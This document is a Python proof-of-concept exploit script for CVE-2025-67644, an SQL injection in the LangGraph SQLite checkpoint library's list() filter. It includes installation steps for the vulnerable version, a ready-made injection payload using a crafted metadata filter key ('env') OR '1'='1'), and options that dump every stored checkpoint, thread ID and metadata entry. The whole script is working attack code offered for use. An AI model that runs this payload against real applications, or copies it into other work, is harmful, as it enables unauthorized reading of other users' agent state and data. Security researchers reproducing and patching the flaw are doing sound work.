#!/usr/bin/env python3 # Exploit Title: LangGraph SQLite Checkpoint SQL Injection PoC # CVE: CVE-2025-67644 # Date: 2025-12-xx # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: # Vendor Homepage: https://github.com/langchain-ai/langgraph # Software Link: https://pypi.org/project/langgraph-checkpoint-sqlite/ # Affected: langgraph-checkpoint-sqlite < 3.0.1 # Tested on: langgraph-checkpoint-sqlite 2.0.0 # Category: Webapps / Database # Platform: Python # Exploit Type: SQL Injection (Metadata Filter Key) # CVSS: 7.5 (High) – estimated # Description: SQL Injection in SqliteSaver.list() via unsanitized metadata filter keys # Fixed in: langgraph-checkpoint-sqlite >= 3.0.1 # Usage: # python3 exploit.py <db_path> [--dump-all] [--threads-only] # # Examples: # python3 exploit.py checkpoints.db # python3 exploit.py checkpoints.db --dump-all # # Options: # --dump-all Dump full checkpoint content instead of just counting # --threads-only Show only thread_ids (less verbose) # # Notes: # • This is a PoC / research exploit – not a full RCE chain # • Real attack depends on application exposure of the filter parameter # • In-memory (:memory:) databases are volatile – file-based more realistic # # How to Use # # Step 1: Install vulnerable version # pip install langgraph-checkpoint-sqlite==2.0.0 # # Step 2: Run the script against existing checkpoint database file # python3 exploit.py checkpoints.db --dump-all # # ──────────────────────────────────────────────── import argparse from langgraph.checkpoint.sqlite import SqliteSaver from uuid import uuid4 BANNER = r""" _____ _ _____ _____ _____ _____ _____ / ____| | | | __ \_ _|/ ____/ ____/ ____| | | __ __ _ _ __ | |_| |__) || | | (___| (___| | | | |_ |/ _` | '_ \| __| ___/ | | \___ \\___ \| | | |__| | (_| | | | | |_| | _| |_ ____) |___) | |____ \_____|\__,_|_| |_|\__|_| |_____|_____/_____/ \_____| CVE-2025-67644 • SQL Injection in LangGraph SQLite Checkpoint PoC by Mohammed Idrees Banyamer (@banyamer_security) ======================================================= """ def create_dummy_data(saver): thread_id_1 = str(uuid4()) thread_id_2 = str(uuid4()) saver.put( {"configurable": {"thread_id": thread_id_1, "checkpoint_ns": ""}}, {"type": "task", "data": "checkpoint A"}, metadata={"user_id": "alice", "env": "prod"} ) saver.put( {"configurable": {"thread_id": thread_id_2, "checkpoint_ns": ""}}, {"type": "task", "data": "checkpoint B"}, metadata={"user_id": "bob", "env": "dev"} ) return thread_id_1, thread_id_2 def main(): parser = argparse.ArgumentParser(description="PoC for CVE-2025-67644 (langgraph-checkpoint-sqlite SQLi)") parser.add_argument("db_path", help="Path to SQLite checkpoint database (:memory: supported)") parser.add_argument("--dump-all", action="store_true", help="Dump full checkpoint content") parser.add_argument("--threads-only", action="store_true", help="Show only thread_ids") args = parser.parse_args() print(BANNER) print("[*] Target database :", args.db_path) print() try: saver = SqliteSaver.from_conn_string(args.db_path) count = len(list(saver.list(None))) if count == 0: print("[+] Creating demo checkpoints (database was empty)") create_dummy_data(saver) print() print("[+] Normal listing (no filter)") all_checkpoints = list(saver.list(None)) print(f" → Found {len(all_checkpoints)} checkpoint(s)") print("\n[+] Legitimate filter test") normal_filter = {"user_id": "alice"} filtered = list(saver.list(None, filter=normal_filter)) print(f" → Found {len(filtered)} checkpoint(s) (expected: 1)") print("\n[+] SQL Injection attempt (bypass filter)") malicious_filter = {"env') OR '1'='1": "dummy"} try: injected = list(saver.list(None, filter=malicious_filter)) print(f" → Injection successful! Found {len(injected)} checkpoint(s)") if len(injected) == len(all_checkpoints) and len(all_checkpoints) > 0: print(" → CONFIRMED: filter bypassed via SQL injection") if args.dump_all: print("\n[+] Dumping all accessible checkpoints:") for i, cp in enumerate(injected, 1): thread_id = cp["configurable"].get("thread_id", "—") print(f" {i}. thread_id = {thread_id}") if not args.threads_only: print(f" checkpoint = {cp.get('checkpoint')}") print(f" metadata = {cp.get('metadata')}") print() elif args.threads_only: print("\n[+] Extracted thread_ids:") for cp in injected: tid = cp["configurable"].get("thread_id") if tid: print(f" • {tid}") except Exception as e: print("[-] Injection failed / rejected") print(f" Error: {e}") except Exception as ex: print("[-] Fatal error") print(f" {ex}") if __name__ == "__main__": main()